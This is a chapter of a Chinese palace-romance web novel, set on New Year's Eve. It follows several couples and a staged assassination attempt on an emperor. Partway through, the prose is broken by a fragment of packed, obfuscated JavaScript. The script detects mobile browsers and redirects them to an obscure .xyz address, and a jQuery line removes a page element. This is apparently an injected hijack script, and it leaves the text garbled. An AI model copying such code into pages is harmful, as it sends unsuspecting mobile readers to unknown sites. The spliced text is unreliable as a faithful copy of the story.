96. 除夕

作品:《血玉碎璧

    时渊眉头紧蹙着,下一刻猛地从床上惊醒。


    额上冷汗涔涔,他惊抖看向自己的双手,然后闭上眼沉沉吐出一口气。


    他的手上干干净净。


    没人知道上面曾沾过多少人的血,同胞的、敌人的、自己的……


    这些都不会让他恐惧,可只有一个人不同。


    他的师父。


    他忘不了那天痛彻心扉的感觉,剑破血肉后流出的血染红了他整只手,同样鲜红的,还有他视线里的场景。


    大脑迟钝的反应过来后,他嘶吼一声,只是一味的用手堵着血口。


    沈暮却用最后的力气不让他松手,大喊是他设计陷害自己。


    此话一出,时渊就反应过来他是何意。


    他的师父,是想用自己的命换他的锦绣路。


    时渊眼前一片猩红,整个人止不住的颤抖着,沈暮最后没什么力气了,可他却推不开他的手。


    “走……走下去,回大都……”


    那是沈暮和他说的最后一句话。


    除了他自己没有人知道。


    而时渊从此像是变了一个人。


    他懂得隐忍变通,行事也越来越让人捉摸不透,再不是之前那个混不吝的煞星了。


    事变之后,轩帝似是后知后觉回过神来,即刻召回时渊,不久边界起了战乱,时渊请旨前去,打出了扬名天下的一仗,回来后便被封了南平王。


    后来轩帝为了缓和他与老臣的关系,这才提出要他迎娶封忠的女儿封雨菲。


    最后就是他拒绝后,轩帝让他禁足思过,而他却跑去景国了。


    时渊揉了揉眉头,慢慢缓过神来。


    这么一想,还真是过去好久了。


    外面响起敲门声,那人小心翼翼问了句:“殿下,你醒着呢么?”


    是孙影。


    “进来吧。”时渊起身穿戴着,见孙影一溜烟进来后,有些急迫道:“殿下,那应王最近和封忠那老匹夫走的越来越近了,因为咱们这边和他女儿的婚事一直没说定,好像他最近起了别的心思了,今晚上在娘娘盛宴上还夸赞起了那姑娘,简直是没把咱们当回事。”


    时渊不以为意:“那老头本就和我不对付,他自己也清楚我跟他的仇解不了,时廷自然是他最好的人选,这事也就父皇一厢情愿。”


    “话是这么说,”孙影摇摇头,“可万一他们要联起手来,殿下不就更难了么?”


    “联起手?用不了多久,只怕有他们忙的,到时候联起手来对付谁就不一定了。”时渊轻笑一声,目光晦暗不明,“景国不太平,轩国又能平静多久呢……”


    最后一句意味深长的话落定,他上前推开窗,外面竟然飘雪了。


    *


    大都一家酒馆里。


    本身因为快要过节,今日来酒馆里的人就不多,到了半夜,里面就只剩下靠窗一桌。


    店里的伙计见他们没什么事,已经趴在桌子上睡着了。


    “还喝么?”容玢轻笑看着江文如,她两颊粉扑扑的,一对明眸微微眯起,眼看着是醉了。


    容玢记得她在寒山寺里说过,她不喝酒,因为不敢醉。


    那样的一个人,今日却在这里一杯接一杯的喝着,像是要让自己完全与现实割裂开一般。


    他一直没有出声拦过,因为他知道,现在最好的办法,就是让她彻底宣泄出来,如果一直闷在心里伤害才更大。


    江文如看着对面神色始终清醒的人,越发觉得他遥不可及,离她越来越远,心里更加难受,


    “你也喝……陪我……”


    她站起来把杯子推到容玢面前,可因为喝的实在太多,脚下虚软,整个人往前栽倒,桌上的杯子东倒西歪发出磕碰声,而她则被容玢眼疾手快拉了过来,一下栽倒在他怀里。


    容玢身子顿时僵住,脸上露出了难得一见的不知所措。


    熟悉的气息扑面而来,在酒精的作用下,江文如今夜格外胆大,她没有起身,而是就着这个姿势环抱住容玢,将头埋在他胸前。


    她呼出的温热气息,仿佛隔着衣衫灼烧着容玢的心,他呼吸微乱,手臂僵硬抬在半空。


    窗外碎絮似的细雪飘了进来,零零星星落在两人身上。


    在月光照耀下,像是细碎光影洒落人间。


    既然今夜两人都醉了。


    那是不是可以放肆一回?


    就只今夜,不去管之后会发生什么,放下所有的顾虑,只是听从本心。


    容玢敛眸,垂手回抱住江文如,“下雪了,你不是说你很喜欢看雪么,不起来看看么?”


    怀里的人没有动。


    容玢伸手握住了江文如的,看着她柔声道:“难受就哭出来吧,这里只有我,你不用掩饰自己,想做什么就做什么,好不——”


    “……我想回家。”


    江文如瓮软的声音响起。


    容玢心中一紧,抱着她的力度也不由加重。


    江文如顺从的往他怀里缩了缩,抬头露出一对水光盈盈的美目,朦胧看着容玢。


    “公子,”她糯声唤了句,接着断断续续道:


    “都说人在难过或受了委屈的时候,都会想到家,只要吃一碗家里的热面,就什么都会过去的。”


    “我、我也想回家……”江文如声音逐渐变得呜咽,“……可是我,我没有家了,我一直都没有家,回不去。”


    容玢听着她的话,感觉像是绵密细雪撒到心口,僵冻住后,整颗心都要碎了。


    半晌,他薄唇翕动,问:“我带你回去,好不好?”


    ……


    外面地面已落了一层薄雪。


    湿滑难行,寒风过境。


    容玢背着江文如一步一步稳稳的往前走着,只觉得她好轻,却将他一颗心都充满了。


    万籁俱寂下,整条路上就只剩下他们二人,好像整个天下也只剩下他们二人。


    他突然生起一种想法,想让这条路没有尽头。


    “是不是只要不停,就可以一直这样走下去……”他说完便苦笑一下。


    人终究是贪婪的,一旦起了心念,便控制不住妄想要更多。


    江文如趴在容玢背上,将头埋进他的肩里,许是醉了不舒服,整个人不安分的晃动着,头也不时轻蹭着容玢。


    “文如,当心掉下去。”容玢向上托了下她。


    “……我不是文如,我叫沈蓁——”江文如今夜对着容玢再没了往日端着的模样,她嘴角一瘪,委屈道:“再也没有人会叫我蓁蓁了……”


    容玢感觉脖颈一湿,风吹过带来丝凉意,只往他心里钻,让他脚步一顿。


    “有人的,还有我……”他的话很轻,跟着消散在风里。


    回到住处,容玢将她安置在榻上,想出去给她倒点水。


    门关上的一瞬间,榻上人眼中不知何时蓄的泪,被风一吹啪的顺着侧颜流落,留下一道清浅湿痕。


    与此同时,桌上的书页翻动,最后停在一处,


    山有木兮木有枝,心悦君兮君不知。


    *


    景国,燕京


    与南边平溪等地的乱象全然不同,街市人潮涌动,叫卖声不断。


    倒是暂时压住了百姓种种不安的情绪。


    街上有孩童追赶着嬉戏,与此同时,还有一位穿着墨蓝大氅的公子神色匆匆,似是在找着什么。


    萧司寒和江文晚今日方到燕京,一回来就赶上这里的游街集市,江文晚沉闷多日,所以今日格外兴奋,兴致勃勃的拉着他一路东逛西逛。


    没成想半路上突然不见了她人,萧司寒找了半盏茶的工夫都没看到江文晚,忙乱之际,想到楚宁倩离开时和他说的话,心里莫名涌上一种恐惧。


    他沿着街巷快步找寻着,情急之下也不再遮掩,大声喊着江文晚的名字。


    最后在一座桥上看到了提着灯笼往下走的江文晚,她手上提着什么,听到萧司寒的话后目瞪口呆看着他。


    萧司寒疾行到她面前,语气冷平,带着丝压抑的怒气,“你刚刚去哪了?谁准你自己到处乱跑的?”


    江文晚没回答,只是惊疑的问:“你怎么知道我是谁?不对,你是不是一早就知道了?”


    萧司寒顿了片刻,缓缓点了点头。


    “你是怎么知道的?”


    “我见过你。”萧司寒平静道:“有次去你家府上的时候,见过一次。”


    “你什么时候来的我家?”江文晚摇摇头,“不对,所以你一直在骗我?”


    萧司寒唇角微勾,“这是什么话,话都是你自己说的,我可没应过,只是没揭穿你让你下不来台罢了,如今回了燕京,倒也没什么隐瞒的必要了。”


    听着很有道理,但江文晚总感觉哪里不对,萧司寒没让她细想,问:“你还没说呢,刚刚去哪了?”


    江文晚怔愣把手里提的木盒子抬到面前:“我去买这个了,我听说你今日生辰,东巷有个阿婆卖的芙蓉糕最好吃了,想买给你尝尝,我本以为今天晚了买不到了,没想到还剩下最后一份……”


    她笑了笑,眉眼弯弯道:“对了,生辰快乐。”


    箫司寒看着她伸出的手,彻底愣在原地。


    生辰么,这种东西,他早就忘了。


    因为母亲去世的早,他又不受皇帝重视,所以早已变成了被所有人忽略的那个,从幼时开始性子就越来越孤僻,以至于有些偏执。


    为了讨得别人喜欢,也为了活下去,他慢慢习惯了在人前伪装自己,习惯了笑脸对人,并多年来做的滴水不漏。


    最灰暗的时候,他觉得自己这一生都会如此。


    记得幼时有一次,皇后生了场病,病愈后消瘦不少,御膳房的人尊令给送去了各种滋补吃食,可皇后没有胃口,听说几位皇子还未下学堂,让给他们送过去,里面就有这种芙蓉糕。


    幼时的萧司寒第一次见到那么精巧的点心,忍不住拿了个,回去的路上迎面撞见前呼后拥走来的萧司珉,不知哪位宫人撞到了他,手里的芙蓉糕一下被撞到地上碎成几块。


    比起这个,身后传来的对话更加刺痛了他,


    “他是谁?”


    “你不记得了?是那个自杀的贵人留下的孩子。”


    “是自杀?不是犯了宫戒被杖杀的吗?”


    “嘘,这事肯定不能明着说啊,那时候可闹腾了一阵呢,不过这孩子竟然还活着呢……”


    “看着就没个机灵样,怪不得连陛下都不记得有这么个人。”


    ……


    江文晚不知道下边人回环曲折的心思,颇为无奈地看着他,出声道:“喂,傻子,快点啊,怎么愣住了。”


    她换了只手,看样子是想把萧司寒拉上来。


    那段记忆太过鲜明,以至于此时看见前面那个言笑晏晏,鲜活明朗的女子向他伸出手时,萧司寒有些怯。


    既觉得自己跟她何其不配,又害怕这手伸出去,真的会把自己的心交出去,可他明明是与她逢场作戏,不该有更多别的心思。


    真心这东西,一旦给出去便失了主动权,便是给了对方可以毫无偏差刺中自己心脏的利刃,他不能再和她这样下去了。


    一路费尽心机走到如今,他不会回头,不能回头,也回不了头。


    箫司寒正要出声,却见江文晚往他这行了半步,被裙摆一绊正踩在台阶沿上,眼看身子歪斜就要摔倒。箫司寒顿时什么都不想飞快出手拉住她,一把将她拉到怀中。


    盒子掉在地上,无人去捡。


    萧司寒一手紧紧握着她刚刚伸出来的手,另一只手紧环着她的腰,像是抱着什么失而复得的宝物,力度之大让刚刚险些摔倒的江文晚回了神,然后心跳越来越快,觉得这人今晚实在有些反常,说话做事都怪怪的。


    “怎么这么不小心?”


    “还不都怪你,我看你愣在那一动不动的想拉你一把……”江文晚蹙起眉,


    “亏我还专程去给你买东西,下次你若再如此磨叽,我可不会在等你了,你自己在这后悔——”


    她说这话落在箫司寒耳中却变了意思。


    他心中一惊,将怀中的人又抱紧几分,忍不住出声打断。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14340759|139867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“闭嘴。”


    “什么?”江文晚气急反笑,用力推着他,“你今晚是不是疯了?”


    “是,是疯了,先别说话,就让我这么抱着你,好不好……”他这话中有着难以掩藏的悲意,听着让人心里一紧。


    江文晚察觉到他现在似乎很伤心,不像之前一直在她面前展现的那般,似乎这才是真实的他。


    她不明白他悲伤的原因,心里却不想看到他难过,想看到他真心笑着的模样。


    这样想着,她慢慢回抱住他,


    轻声安抚,“好,没事啊。”


    江文晚不太会安慰人,只是轻轻拍着他的背,“你放心,还有我,你有什么事可以跟我说啊,我一直都在……”


    下一刻,萧司寒垂眸看着她,突然毫无预料的低头凑近吻了下她,很清浅,带着轻微试探的意思。


    江文晚脑中一片混沌,彻底混乱了,但神奇的是,她竟并不抵触,


    不远处的人群传来欢呼声,像是在庆祝着什么。


    江文晚整个人一颤,猛然回过神来,反应过来两个人今晚有多么荒唐,下意识要呵斥他举止孟浪,但嘴里却一句话都说不出来,脸涨得通红。


    箫司寒望着江文晚绯红的面,忍不住又附上了唇,江文晚瞪大眼睛,眸中有着盈盈的水汽,这次反应过来了,用力推着身前的人。


    眼看江文晚要恼了,萧司寒很快便松开了她,然后直直望着她,带着点小心翼翼的感觉。


    两人的气息杂乱。


    江文晚有些气短,一时不敢看那不知为何突然抽风的人:“你……你还吻上瘾了不成?”


    箫司寒倏忽一笑,“是啊,你说怎么办?”


    “什么怎么办?当然不行了!”


    箫司寒却抬起两人不知什么时候十指交扣在一起手,笑道:“那可由不得你了,是你先伸的手,这手握上了,可就不能松开了。”


    “我伸什么手……你,你这不是耍无赖么?亏你还是个皇子!”


    “你也知道,我不受宠,自幼没什么人教,难免行事没有皇子的做派。”


    “我不是这个意思——”


    “晚了,怎么办,不如把自己赔给我吧,想来我那皇兄对江家戒心重,应该不怎么情愿江家出来个皇妃……”


    ……


    满天飞雪洋洋洒洒的飞舞着,


    临安街不远处的城楼上,萧司临身穿常服站立,漠然看着下面行人渐少,黑夜愈重。


    脑中闪过一个想法,他转身走下城楼,身后跟着几个武功高强的护卫。


    思及要去的地方,他摆了摆手,想让他们在这候着,但身后领头的护卫却一脸为难,左一句不敢右一句危险,萧司临拧眉闭了下眼,再睁开时像是妥协了什么,步子也慢了下来。


    行人寥寥,萧司临漫无目的的走着,这还是他继位后第一次出宫。


    就这样毫无方向的走了一炷香,身后侍卫不时小心看向前面寡言肃冷的年轻皇帝,不知道他今晚是何意。


    直到看到前面醉仙楼的招牌,萧司临才停下脚步。


    他没有再进一步,脸上升起一抹寂然。


    不知站了多久,天上的雪落在他眼睫上,让他视线迷蒙了一瞬,就是这一瞬,前面楼宇上的一页窗突然被人打开了。


    四目相对的瞬间。


    云鬓朱唇,凤眼微抬。


    冷隽孤矜,狭眸轻挑。


    须臾后,窗后女子敛下眸,先行收回了视线,退后,合窗。


    旁边突然有个人摇摇晃晃朝这边走来,像是个醉汉,他口里念念有词的走过萧司临身边。


    萧司临没有理会,偏头后再次看到了那道熟悉的身影,


    两人谁都没有先说话,却都从彼此眼里看出一抹薄笑。


    浅淡的、隐含讽谑、一闪而过。


    紧接着,楚宁倩脸色骤变,向他疾奔过去,原来那醉汉手里竟握着一把短刀,他很快被萧司临身边的护卫制服,可不知他哪来的力气,竟把手上的短刀朝萧司临方向扔了过去。


    萧司临闪身躲过,旁边却又冲出来两三个同样带刀的人,一人暗影般唰的窜出,下一瞬,抽刀直冲萧司临而去,电光火石之间,萧司临被一人抱住,猛冲的力度让他倒退一步。


    手上涌出滚热的鲜血,在雪夜里格外刺眼。


    不是他的,而是怀中人的。


    楚宁倩后背中了一刀,好在萧司临手下的人及时阻拦,那刀尚未完全刺入。


    萧司临呼吸骤促,不敢相信地看着怀里的人,片刻后高喊:“来人!来人备马回宫,不!先去找大夫,快!”


    身边的人第一次见到萧司临这副慌乱模样,一时全都吓得不轻,不知道这女子究竟是何方神圣。


    刀口不浅,血不断从纱布里溢出,马车里弥漫着浓重的血腥气,萧司临看着面色惨白的女子,忍不住向外冷声喊了句,“慢点。”


    明明刚刚还让快点。


    外面驾车的人心里犯着嘀咕。


    楚宁倩眼前模糊着,看到萧司临一向漠然的脸上像突然有什么碎裂开了,竟不断低声慢喃着:“没事,快到了……”这类安慰的话。


    她从记事起就没哭过,因为性子强硬,也从来没有人会想安慰她——当然,也没有人敢。


    可这一次见到萧司临这副模样,她心下觉得好笑,却笑不出来。


    与此同时,街巷里一个蒙面女子看了眼现场迅速离开,正是云蝶。


    没错,这是针对萧司临的一场戏,从头到尾都是预料好的,从楚宁倩回到醉仙楼的那天起就开始筹谋。


    她赌萧司临还对她有兴趣,赌他不会让任何一件事在他不知情的情况下脱离他的把控,哪怕是一个低微到毫不起眼的女子。


    她算是赌赢了吧,可她没想到萧司临反应会这么大。


    楚宁倩疼到失声,意识模糊之前最后想到的是——这世上竟然有人,会把她看得这么重要么?


    怎么可能呢?


    她对于他来说,已经没有任何价值了,所以,已经没必要再在她面前做戏了吧?